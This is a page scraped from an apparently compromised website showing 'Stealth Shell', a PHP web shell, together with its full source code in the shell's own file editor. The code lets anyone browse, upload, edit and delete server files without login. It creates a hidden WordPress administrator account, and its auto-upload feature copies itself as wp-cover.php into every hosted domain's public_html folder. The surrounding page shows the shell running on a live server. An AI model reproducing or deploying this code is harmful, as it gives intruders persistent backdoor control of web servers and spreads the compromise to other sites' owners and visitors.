⚡ stealth@shell:~/$
█
⚡ Stealth Shell
# root@server
🌐 www.resopp-sn.org
$>
🏠
/
home
/
resoppsn
/
www
[quick]
⬆️ cd ..
cd /
cd /home
cd /var/www
cd /tmp
🚀 auto-upload
📤 upload
📁 mkdir
⚡ wp-admin
🔄 refresh
✏️ editing: spip.php
← back
<?php error_reporting(0); // ============================================= // CORE FUNCTIONS & INITIALIZATION // ============================================= $current_dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd(); $current_dir = realpath($current_dir); if ($current_dir === false) { $current_dir = getcwd(); } $parent_dir = dirname($current_dir); if ($parent_dir == $current_dir) { $parent_dir = false; } function formatSize($bytes) { if ($bytes >= 1073741824) { return number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { return number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { return number_format($bytes / 1024, 2) . ' KB'; } elseif ($bytes > 1) { return $bytes . ' bytes'; } elseif ($bytes == 1) { return $bytes . ' byte'; } return '0 bytes'; } function generateRandomPassword($length = 12) { $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*'; $password = ''; $max = strlen($chars) - 1; for ($i = 0; $i < $length; $i++) { $password .= $chars[mt_rand(0, $max)]; } return $password; } function detectDomainForPath($path) { $document_root = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : ''; $http_host = isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'localhost'; $protocol = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') ? 'https://' : 'http://'; if (!empty($document_root) && strpos($path, $document_root) === 0) { $relative_path = substr($path, strlen($document_root)); return $protocol . $http_host . $relative_path; } $check_path = $path; while ($check_path != '/' && $check_path != '') { if (file_exists($check_path . '/wp-config.php')) { $config_content = @file_get_contents($check_path . '/wp-config.php'); if ($config_content) { if (preg_match("/define\(\s*['\"]WP_HOME['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", $config_content, $matches)) { return $matches[1]; } if (preg_match("/define\(\s*['\"]WP_SITEURL['\"]\s*,\s*['\"]([^'\"]+)['\"]\s*\)/", $config_content, $matches)) { return $matches[1]; } } } $check_path = dirname($check_path); } return null; } function extractDomainFromPath($path) { $patterns = [ '/domains\/([^\/]+)/', '/([^\/]+)\/public_html/', '/www\/([^\/]+)/', '/htdocs\/([^\/]+)/', ]; foreach ($patterns as $pattern) { if (preg_match($pattern, $path, $matches)) { return $matches[1]; } } return null; } // ============================================= // AUTO UPLOAD FEATURE // ============================================= $uploaded_clones = array(); $message = ''; $message_type = ''; if (isset($_GET['auto_upload'])) { $domains_path = $current_dir; $clones_created = array(); if (basename($current_dir) !== 'domains') { $check_path = $current_dir; while ($check_path != '/' && $check_path != '') { if (basename($check_path) === 'domains') { $domains_path = $check_path; break; } $check_path = dirname($check_path); } } if (is_dir($domains_path)) { $items = scandir($domains_path); foreach ($items as $item) { if ($item == '.' || $item == '..') continue; $domain_path = $domains_path . '/' . $item; if (is_dir($domain_path)) { $public_html_path = $domain_path . '/public_html'; if (is_dir($public_html_path)) { $clone_name = 'wp-cover.php'; $clone_path = $public_html_path . '/' . $clone_name; if (@copy(__FILE__, $clone_path)) { $domain = $item; $protocol = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] === 'on') ? 'https://' : 'http://'; $config_domain = detectDomainForPath($public_html_path); if ($config_domain) { $url = rtrim($config_domain, '/') . '/' . $clone_name; } else { $url = $protocol . $domain . '/' . $clone_name; } $clones_created[] = array( 'domain' => $domain, 'path' => $clone_path, 'url' => $url ); } } } } } if (!empty($clones_created)) { $uploaded_clones = $clones_created; $message = "✅ Auto upload completed: " . count($clones_created) . " clones created"; $message_type = 'success'; } else { $message = "❌ No public_html folders found in domains directory"; $message_type = 'warning'; } } // ============================================= // ACTION HANDLERS // ============================================= if (isset($_GET['wpadmin'])) { $wp_path = $current_dir; $found = false; while ($wp_path != '/' && $wp_path != '') { if (file_exists($wp_path . '/wp-load.php') || file_exists($wp_path . '/wp-config.php')) { $found = true; break; } $wp_path = dirname($wp_path); } if ($found && file_exists($wp_path . '/wp-load.php')) { @require_once($wp_path . '/wp-load.php'); if (function_exists('wp_create_user')) { $username = 'admin_' . substr(md5(time()), 0, 8); $password = generateRandomPassword(); $email = $username . '@' . substr(md5($wp_path), 0, 6) . '.local'; if (!username_exists($username) && !email_exists($email)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); $message = "WordPress Admin Created | Username: $username | Password: $password | Email: $email | Login: " . get_site_url() . "/wp-admin"; $message_type = 'success'; } else { $message = "Error creating user: " . $user_id->get_error_message(); $message_type = 'error'; } } else { $message = "User already exists in WordPress database"; $message_type = 'warning'; } } else { $message = "WordPress not properly loaded"; $message_type = 'error'; } } else { $message = "WordPress installation not found"; $message_type = 'error'; } } if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['upload_file'])) { $uploaded_file = $_FILES['upload_file']; if ($uploaded_file['error'] === UPLOAD_ERR_OK) { $target_path = $current_dir . '/' . basename($uploaded_file['name']); if (move_uploaded_file($uploaded_file['tmp_name'], $target_path)) { $message = "File uploaded successfully: " . basename($uploaded_file['name']); $message_type = 'success'; } else { $message = "Failed to upload file"; $message_type = 'error'; } } } if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['create_dir'])) { $dir_name = trim($_POST['dir_name']); if (!empty($dir_name)) { $new_dir = $current_dir . '/' . preg_replace('/[^\w\-\.]/', '', $dir_name); if (!file_exists($new_dir)) { if (mkdir($new_dir, 0755)) { $message = "Directory created: " . htmlspecialchars($dir_name); $message_type = 'success'; } else { $message = "Failed to create directory"; $message_type = 'error'; } } else { $message = "Directory already exists"; $message_type = 'warning'; } } } if (isset($_GET['delete'])) { $file_to_delete = $current_dir . '/' . basename($_GET['delete']); if (file_exists($file_to_delete)) { if (is_dir($file_to_delete)) { $success = rmdir($file_to_delete); } else { $success = unlink($file_to_delete); } if ($success) { header("Location: ?dir=" . urlencode($current_dir)); exit; } } } if (isset($_GET['edit'])) { $file_to_edit = $current_dir . '/' . basename($_GET['edit']); if (file_exists($file_to_edit) && is_file($file_to_edit)) { $file_content = file_get_contents($file_to_edit); if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['file_content'])) { if (file_put_contents($file_to_edit, $_POST['file_content']) !== false) { $message = "File saved: " . htmlspecialchars(basename($_GET['edit'])); $message_type = 'success'; $file_content = $_POST['file_content']; } } } } // ============================================= // DIRECTORY SCANNING // ============================================= $folders = array(); $files = array(); if (is_dir($current_dir) && is_readable($current_dir)) { $items = scandir($current_dir); if ($items !== false) { foreach ($items as $item) { if ($item == '.' || $item == '..') continue; $full_path = $current_dir . '/' . $item; if (is_dir($full_path)) { $folders[] = array( 'name' => $item, 'path' => $full_path, 'modified' => filemtime($full_path), 'permissions' => substr(sprintf('%o', fileperms($full_path)), -3) ); } else { $files[] = array( 'name' => $item, 'path' => $full_path, 'size' => filesize($full_path), 'modified' => filemtime($full_path), 'permissions' => substr(sprintf('%o', fileperms($full_path)), -3), 'extension' => strtolower(pathinfo($item, PATHINFO_EXTENSION)) ); } } } } usort($folders, function($a, $b) { return strcmp($a['name'], $b['name']); }); usort($files, function($a, $b) { return strcmp($a['name'], $b['name']); }); // ============================================= // BREADCRUMBS // ============================================= $breadcrumbs = array(); $parts = explode('/', trim($current_dir, '/')); $path = ''; $breadcrumbs[] = array('name' => '🏠', 'path' => '/'); foreach ($parts as $part) { if (!empty($part)) { $path .= '/' . $part; $breadcrumbs[] = array('name' => $part, 'path' => $path); } } $current_domain = detectDomainForPath($current_dir); // ============================================= // UI RENDERING // ============================================= ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>⚡ Stealth Shell • File Manager</title> <style> * { margin: 0; padding: 0; box-sizing: border-box; font-family: 'JetBrains Mono', 'Fira Code', 'Courier New', monospace; } body { background: #0a0a0a; min-height: 100vh; padding: 20px; background-image: linear-gradient(rgba(0, 255, 0, 0.03) 1px, transparent 1px), linear-gradient(90deg, rgba(0, 255, 0, 0.03) 1px, transparent 1px); background-size: 30px 30px; } .glitch { position: fixed; top: 0; left: 0; right: 0; bottom: 0; pointer-events: none; background: radial-gradient(circle at 50% 50%, rgba(0,0,0,0.9) 0%, rgba(0,0,0,0.95) 100%); z-index: -1; } .app { max-width: 1600px; margin: 0 auto; position: relative; z-index: 1; } .terminal { background: rgba(0, 0, 0, 0.85); border: 1px solid #00ff00; border-radius: 8px; box-shadow: 0 0 20px rgba(0, 255, 0, 0.2); backdrop-filter: blur(5px); } .terminal-header { background: #001a00; padding: 12px 20px; border-bottom: 1px solid #00ff00; display: flex; justify-content: space-between; align-items: center; border-radius: 8px 8px 0 0; } .terminal-dots { display: flex; gap: 8px; } .dot { width: 12px; height: 12px; border-radius: 50%; } .dot.red { background: #ff5f56; } .dot.yellow { background: #ffbd2e; } .dot.green { background: #27c93f; } .terminal-title { color: #00ff00; font-size: 0.85rem; letter-spacing: 2px; text-shadow: 0 0 5px #00ff00; } .terminal-title span { animation: blink 1.5s infinite; } @keyframes blink { 0%, 100% { opacity: 1; } 50% { opacity: 0; } } .header { padding: 20px 28px; margin-bottom: 24px; } .logo h1 { font-size: 1.6rem; font-weight: 700; color: #00ff00; text-shadow: 0 0 10px #00ff00; letter-spacing: -1px; } .logo .prompt { color: #00aa00; font-size: 0.9rem; margin-left: 10px; } .domain-badge { background: rgba(0, 255, 0, 0.1); border: 1px solid #00ff00; padding: 4px 12px; border-radius: 4px; margin-left: 15px; font-size: 0.8rem; color: #00ff00; display: inline-flex; align-items: center; gap: 6px; } .btn { padding: 8px 16px; border: 1px solid #00ff00; border-radius: 4px; font-weight: 500; font-size: 0.85rem; cursor: pointer; display: inline-flex; align-items: center; gap: 8px; transition: all 0.2s; text-decoration: none; background: rgba(0, 0, 0, 0.8); color: #00ff00; font-family: monospace; } .btn:hover { background: #00ff00; color: #000000; box-shadow: 0 0 15px rgba(0, 255, 0, 0.5); transform: translateY(-1px); } .btn-primary { background: #00ff00; color: #000000; border-color: #00ff00; } .btn-primary:hover { background: #00cc00; box-shadow: 0 0 20px rgba(0, 255, 0, 0.8); } .breadcrumb-bar { padding: 12px 20px; margin-bottom: 20px; background: rgba(0, 0, 0, 0.6); border: 1px solid #00ff00; border-radius: 6px; display: flex; flex-wrap: wrap; align-items: center; gap: 8px; } .breadcrumb-item { color: #00aa00; text-decoration: none; font-size: 0.85rem; padding: 4px 10px; border-radius: 4px; background: rgba(0, 255, 0, 0.05); transition: all 0.2s; font-family: monospace; } .breadcrumb-item:hover { background: rgba(0, 255, 0, 0.2); color: #00ff00; } .quick-nav { padding: 12px 20px; margin-bottom: 20px; background: rgba(0, 0, 0, 0.4); border: 1px solid #00aa00; border-radius: 6px; display: flex; flex-wrap: wrap; align-items: center; gap: 10px; } .nav-tag { color: #00aa00; font-weight: 500; margin-right: 8px; font-size: 0.8rem; } .nav-link { padding: 6px 14px; background: rgba(0, 0, 0, 0.6); border: 1px solid #00aa00; border-radius: 4px; color: #00aa00; text-decoration: none; font-size: 0.8rem; transition: all 0.2s; font-family: monospace; } .nav-link:hover { background: #00ff00; color: #000000; border-color: #00ff00; } .controls-bar { padding: 16px 20px; margin-bottom: 20px; background: rgba(0, 0, 0, 0.6); border: 1px solid #00ff00; border-radius: 8px; display: flex; flex-wrap: wrap; gap: 16px; align-items: center; } .control-group { display: flex; gap: 8px; align-items: center; padding: 4px; } .control-group input { background: #000000; border: 1px solid #00aa00; padding: 8px 12px; border-radius: 4px; color: #00ff00; font-size: 0.85rem; min-width: 200px; font-family: monospace; } .control-group input:focus { outline: none; border-color: #00ff00; box-shadow: 0 0 10px rgba(0, 255, 0, 0.3); } .message { margin-bottom: 20px; padding: 12px 20px; border-radius: 6px; font-weight: 500; animation: slideDown 0.3s ease; font-family: monospace; font-size: 0.85rem; } @keyframes slideDown { from { opacity: 0; transform: translateY(-20px); } to { opacity: 1; transform: translateY(0); } } .message.success { background: rgba(0, 255, 0, 0.1); border-left: 3px solid #00ff00; color: #00ff00; } .message.error { background: rgba(255, 0, 0, 0.1); border-left: 3px solid #ff0000; color: #ff6666; } .message.warning { background: rgba(255, 255, 0, 0.1); border-left: 3px solid #ffff00; color: #ffff66; } .main-grid { display: grid; grid-template-columns: 1fr 320px; gap: 20px; } .section-title { font-size: 1rem; font-weight: 600; color: #00ff00; margin: 20px 0 12px 0; padding-bottom: 6px; border-bottom: 1px solid #00ff00; display: flex; align-items: center; gap: 8px; font-family: monospace; } .grid-container { display: grid; grid-template-columns: repeat(auto-fill, minmax(260px, 1fr)); gap: 12px; margin-bottom: 20px; } .item-card { padding: 14px; background: rgba(0, 0, 0, 0.6); border: 1px solid #00aa00; border-radius: 6px; transition: all 0.2s; } .item-card:hover { background: rgba(0, 0, 0, 0.8); border-color: #00ff00; transform: translateX(2px); box-shadow: 0 0 15px rgba(0, 255, 0, 0.2); } .item-icon { font-size: 1.8rem; margin-bottom: 8px; filter: drop-shadow(0 0 5px rgba(0, 255, 0, 0.3)); } .item-name { font-weight: 600; color: #00ff00; margin-bottom: 6px; word-break: break-all; font-size: 0.9rem; font-family: monospace; } .item-meta { font-size: 0.7rem; color: #00aa00; margin-bottom: 12px; line-height: 1.5; padding: 6px 8px; background: rgba(0, 0, 0, 0.4); border-radius: 4px; font-family: monospace; } .item-actions { display: flex; gap: 6px; flex-wrap: wrap; } .action-btn { padding: 4px 10px; border-radius: 3px; font-size: 0.7rem; font-weight: 600; text-decoration: none; transition: all 0.2s; background: rgba(0, 0, 0, 0.6); border: 1px solid #00aa00; color: #00aa00; font-family: monospace; } .action-btn:hover { background: #00ff00; border-color: #00ff00; color: #000000; } .action-delete:hover { background: #ff0000; border-color: #ff0000; color: #ffffff; } .sidebar { display: flex; flex-direction: column; gap: 20px; } .sidebar-widget { background: rgba(0, 0, 0, 0.6); border: 1px solid #00ff00; border-radius: 8px; padding: 16px; } .widget-title { color: #00ff00; font-size: 0.9rem; font-weight: 600; margin-bottom: 12px; padding-bottom: 8px; border-bottom: 1px solid #00aa00; display: flex; align-items: center; gap: 8px; font-family: monospace; } .info-row { padding: 10px 0; border-bottom: 1px solid rgba(0, 170, 0, 0.3); color: #00aa00; font-size: 0.8rem; font-family: monospace; } .info-row strong { color: #00ff00; display: block; margin-bottom: 4px; } .clones-list { background: rgba(0, 255, 0, 0.05); border: 1px solid #00ff00; border-radius: 6px; padding: 12px; margin-top: 10px; } .clone-item { padding: 8px; border-bottom: 1px solid rgba(0, 255, 0, 0.2); display: flex; align-items: center; gap: 8px; } .clone-item:last-child { border-bottom: none; } .clone-url { color: #00ff00; text-decoration: none; font-size: 0.8rem; word-break: break-all; flex: 1; font-family: monospace; } .clone-url:hover { color: #00ff00; text-decoration: underline; } .clone-badge { background: #00ff00; color: #000000; padding: 2px 8px; border-radius: 3px; font-size: 0.7rem; } .editor-container { background: #000000; border: 1px solid #00ff00; border-radius: 8px; overflow: hidden; } .editor-header { padding: 14px 20px; background: rgba(0, 0, 0, 0.8); border-bottom: 1px solid #00ff00; display: flex; justify-content: space-between; align-items: center; } .editor-header h3 { color: #00ff00; font-weight: 500; font-size: 0.9rem; font-family: monospace; } .editor-content textarea { width: 100%; min-height: 500px; padding: 20px; background: #0a0a0a; border: none; color: #00ff00; font-family: 'JetBrains Mono', 'Fira Code', monospace; font-size: 0.85rem; line-height: 1.5; resize: vertical; } .editor-content textarea:focus { outline: none; background: #000000; } .editor-footer { padding: 14px 20px; background: rgba(0, 0, 0, 0.8); border-top: 1px solid #00ff00; text-align: right; } .empty-state { text-align: center; padding: 50px 20px; color: #00aa00; background: rgba(0, 0, 0, 0.4); border-radius: 8px; border: 1px dashed #00ff00; } .empty-state i { font-size: 3rem; display: block; margin-bottom: 15px; opacity: 0.5; } .status-bar { margin-top: 20px; padding: 12px 20px; background: rgba(0, 0, 0, 0.6); border: 1px solid #00aa00; border-radius: 6px; display: flex; justify-content: space-between; color: #00aa00; font-size: 0.8rem; font-family: monospace; } ::-webkit-scrollbar { width: 8px; height: 8px; } ::-webkit-scrollbar-track { background: #0a0a0a; } ::-webkit-scrollbar-thumb { background: #00ff00; border-radius: 4px; } ::-webkit-scrollbar-thumb:hover { background: #00cc00; } @media (max-width: 1024px) { .main-grid { grid-template-columns: 1fr; } } @media (max-width: 768px) { .controls-bar { flex-direction: column; align-items: stretch; } .control-group { flex-direction: column; } .grid-container { grid-template-columns: 1fr; } } </style> </head> <body> <div class="glitch"></div> <div class="app"> <!-- Terminal Header --> <div class="terminal"> <div class="terminal-header"> <div class="terminal-dots"> <div class="dot red"></div> <div class="dot yellow"></div> <div class="dot green"></div> </div> <div class="terminal-title"> ⚡ stealth@shell:~/$ <span>█</span> </div> <div style="width: 70px;"></div> </div> <!-- Header Content --> <div class="header"> <div class="logo"> <h1> ⚡ Stealth Shell <span class="prompt"># root@server</span> <?php if ($current_domain): ?> <span class="domain-badge">🌐 <?php echo htmlspecialchars(parse_url($current_domain, PHP_URL_HOST) ?: $current_domain); ?></span> <?php endif; ?> </h1> </div> </div> </div> <!-- Breadcrumb --> <div class="breadcrumb-bar"> <span style="color:#00ff00;">$></span> <?php foreach ($breadcrumbs as $i => $crumb): ?> <a href="?dir=<?php echo urlencode($crumb['path']); ?>" class="breadcrumb-item"> <?php echo htmlspecialchars($crumb['name']); ?> </a> <?php if ($i < count($breadcrumbs)-1): ?> <span style="color:#00aa00;">/</span> <?php endif; ?> <?php endforeach; ?> </div> <!-- Quick Navigation --> <div class="quick-nav"> <span class="nav-tag">[quick]</span> <?php if ($parent_dir): ?> <a href="?dir=<?php echo urlencode($parent_dir); ?>" class="nav-link">⬆️ cd ..</a> <?php endif; ?> <a href="?dir=/" class="nav-link">cd /</a> <a href="?dir=/home" class="nav-link">cd /home</a> <a href="?dir=/var/www" class="nav-link">cd /var/www</a> <a href="?dir=/tmp" class="nav-link">cd /tmp</a> <a href="?dir=<?php echo urlencode($current_dir); ?>&auto_upload=1" class="nav-link" style="border-color: #ff00ff; color: #ff00ff;">🚀 auto-upload</a> </div> <!-- Controls --> <div class="controls-bar"> <div class="control-group"> <form method="post" enctype="multipart/form-data" style="display: flex; gap: 8px;"> <input type="file" name="upload_file" required> <button type="submit" class="btn btn-primary">📤 upload</button> </form> </div> <div class="control-group"> <form method="post" style="display: flex; gap: 8px;"> <input type="text" name="dir_name" placeholder="new_folder" required> <button type="submit" name="create_dir" value="1" class="btn">📁 mkdir</button> </form> </div> <div class="control-group"> <a href="?dir=<?php echo urlencode($current_dir); ?>&wpadmin=1" class="btn">⚡ wp-admin</a> <a href="?dir=<?php echo urlencode($current_dir); ?>" class="btn">🔄 refresh</a> </div> </div> <!-- Message display --> <?php if ($message): ?> <div class="message <?php echo $message_type; ?>"> <span style="color:#00ff00;">[~]</span> <?php echo $message; ?> </div> <?php endif; ?> <!-- Display uploaded clones --> <?php if (!empty($uploaded_clones)): ?> <div class="sidebar-widget" style="margin-bottom: 20px; background: rgba(0, 255, 0, 0.05);"> <div class="widget-title"> <span>🎯</span> uploaded clones (wp-cover.php) </div> <div class="clones-list"> <?php foreach ($uploaded_clones as $clone): ?> <div class="clone-item"> <span>🌐</span> <a href="<?php echo htmlspecialchars($clone['url']); ?>" target="_blank" class="clone-url"> <?php echo htmlspecialchars($clone['url']); ?> </a> <span class="clone-badge"><?php echo htmlspecialchars($clone['domain']); ?></span> </div> <?php endforeach; ?> </div> </div> <?php endif; ?> <!-- Main grid --> <div class="main-grid"> <!-- Main content --> <div class="main-content"> <?php if (isset($file_content)): ?> <!-- Editor --> <div class="editor-container"> <div class="editor-header"> <h3>✏️ editing: <?php echo htmlspecialchars(basename($_GET['edit'])); ?></h3> <a href="?dir=<?php echo urlencode($current_dir); ?>" class="btn btn-primary">← back</a> </div> <form method="post"> <div class="editor-content"> <textarea name="file_content"><?php echo htmlspecialchars($file_content); ?></textarea> </div> <div class="editor-footer"> <button type="submit" class="btn btn-primary">💾 save</button> </div> </form> </div> <?php else: ?> <!-- Folders --> <?php if (!empty($folders)): ?> <div class="section-title"> <span>📁</span> directories [<?php echo count($folders); ?>] </div> <div class="grid-container"> <?php foreach ($folders as $folder): ?> <div class="item-card"> <div class="item-icon">📁</div> <div class="item-name"><?php echo htmlspecialchars($folder['name']); ?></div> <div class="item-meta"> 📅 <?php echo date('Y-m-d H:i', $folder['modified']); ?><br> 🔒 <?php echo $folder['permissions']; ?> </div> <div class="item-actions"> <a href="?dir=<?php echo urlencode($folder['path']); ?>" class="action-btn">cd</a> <a href="?dir=<?php echo urlencode($current_dir); ?>&delete=<?php echo urlencode($folder['name']); ?>" class="action-btn action-delete" onclick="return confirm('Delete folder?')">rm</a> </div> </div> <?php endforeach; ?> </div> <?php endif; ?> <!-- Files --> <?php if (!empty($files)): ?> <div class="section-title"> <span>📄</span> files [<?php echo count($files); ?>] </div> <div class="grid-container"> <?php foreach ($files as $file): $icon = '📄'; if ($file['extension'] == 'php') $icon = '🐘'; elseif (in_array($file['extension'], ['jpg','png','gif'])) $icon = '🖼️'; elseif (in_array($file['extension'], ['zip','tar','gz'])) $icon = '📦'; elseif ($file['extension'] == 'pdf') $icon = '📕'; ?> <div class="item-card"> <div class="item-icon"><?php echo $icon; ?></div> <div class="item-name"><?php echo htmlspecialchars($file['name']); ?></div> <div class="item-meta"> 💾 <?php echo formatSize($file['size']); ?><br> 📅 <?php echo date('Y-m-d H:i', $file['modified']); ?> </div> <div class="item-actions"> <a href="?dir=<?php echo urlencode($current_dir); ?>&edit=<?php echo urlencode($file['name']); ?>" class="action-btn">edit</a> <a href="?dir=<?php echo urlencode($current_dir); ?>&delete=<?php echo urlencode($file['name']); ?>" class="action-btn action-delete" onclick="return confirm('Delete file?')">rm</a> </div> </div> <?php endforeach; ?> </div> <?php endif; ?> <?php if (empty($folders) && empty($files)): ?> <div class="empty-state"> <i>📂</i> <h3>[empty directory]</h3> <p>upload files or create folders</p> </div> <?php endif; ?> <?php endif; ?> </div> <!-- Sidebar --> <div class="sidebar"> <div class="sidebar-widget"> <div class="widget-title"> <span>💻</span> system info </div> <div class="info-row"> <strong>pwd</strong> <span style="word-break: break-all;"><?php echo htmlspecialchars($current_dir); ?></span> </div> <?php if ($current_domain): ?> <div class="info-row"> <strong>domain</strong> <a href="<?php echo htmlspecialchars($current_domain); ?>" target="_blank" style="color: #00ff00; text-decoration: none;"> <?php echo htmlspecialchars($current_domain); ?> </a> </div> <?php endif; ?> <div class="info-row"> <strong>contents</strong> <?php echo count($folders); ?> dirs, <?php echo count($files); ?> files </div> <div class="info-row"> <strong>disk free</strong> <?php echo formatSize(disk_free_space($current_dir)); ?> </div> <div class="info-row"> <strong>php version</strong> <?php echo PHP_VERSION; ?> </div> </div> <div class="sidebar-widget"> <div class="widget-title"> <span>🚀</span> quick actions </div> <div style="display: flex; flex-direction: column; gap: 8px;"> <a href="?dir=<?php echo urlencode(dirname(__FILE__)); ?>" class="btn" style="justify-content: center;">📍 script location</a> <a href="?dir=/var/www" class="btn" style="justify-content: center;">🌐 web root</a> <a href="?dir=/tmp" class="btn" style="justify-content: center;">🗑️ temp</a> <a href="?dir=<?php echo urlencode($current_dir); ?>&auto_upload=1" class="btn" style="justify-content: center; border-color: #ff00ff; color: #ff00ff;">📤 auto upload clones</a> </div> </div> <?php if (strpos($current_dir, 'domains') !== false || basename($current_dir) === 'domains'): ?> <div class="sidebar-widget"> <div class="widget-title"> <span>🌍</span> domains access </div> <div style="display: flex; flex-direction: column; gap: 8px;"> <a href="?auto_upload=1&dir=<?php echo urlencode($current_dir); ?>" class="btn" style="justify-content: center; border-color: #00ff00;"> 📤 upload to all domains </a> </div> </div> <?php endif; ?> </div> </div> <!-- Status bar --> <div class="status-bar"> <span>📁 <?php echo htmlspecialchars($current_dir); ?></span> <span>⚡ stealth shell • <?php echo count($folders) + count($files); ?> items</span> </div> </div> <script> setTimeout(() => { document.querySelectorAll('.message').forEach(el => { el.style.opacity = '0'; setTimeout(() => el.remove(), 500); }); }, 5000); document.querySelectorAll('.clone-url').forEach(el => { el.addEventListener('click', function(e) { if (e.target.tagName === 'A') return; const text = this.innerText; navigator.clipboard.writeText(text); const original = this.innerText; this.innerText = '✅ copied!'; setTimeout(() => this.innerText = original, 1500); }); }); document.addEventListener('keydown', e => { if (e.ctrlKey && e.key === 's' && document.querySelector('textarea')) { e.preventDefault(); document.querySelector('button[type="submit"]')?.click(); } if (e.key === 'Escape') { const backBtn = document.querySelector('a[href*="dir="]'); if (backBtn) window.location.href = backBtn.href; } }); console.log('%c⚡ Stealth Shell Loaded', 'color: #00ff00; font-size: 16px; font-family: monospace;'); console.log('%cCurrent Directory: <?php echo addslashes($current_dir); ?>', 'color: #00aa00; font-family: monospace;'); </script> </body> </html>
💻
system info
pwd
/home/resoppsn/www
domain
https://www.resopp-sn.org
contents
12 dirs, 17 files
disk free
0 bytes
php version
5.4.45
🚀
quick actions
📍 script location
🌐 web root
🗑️ temp
📤 auto upload clones
📁 /home/resoppsn/www
⚡ stealth shell • 29 items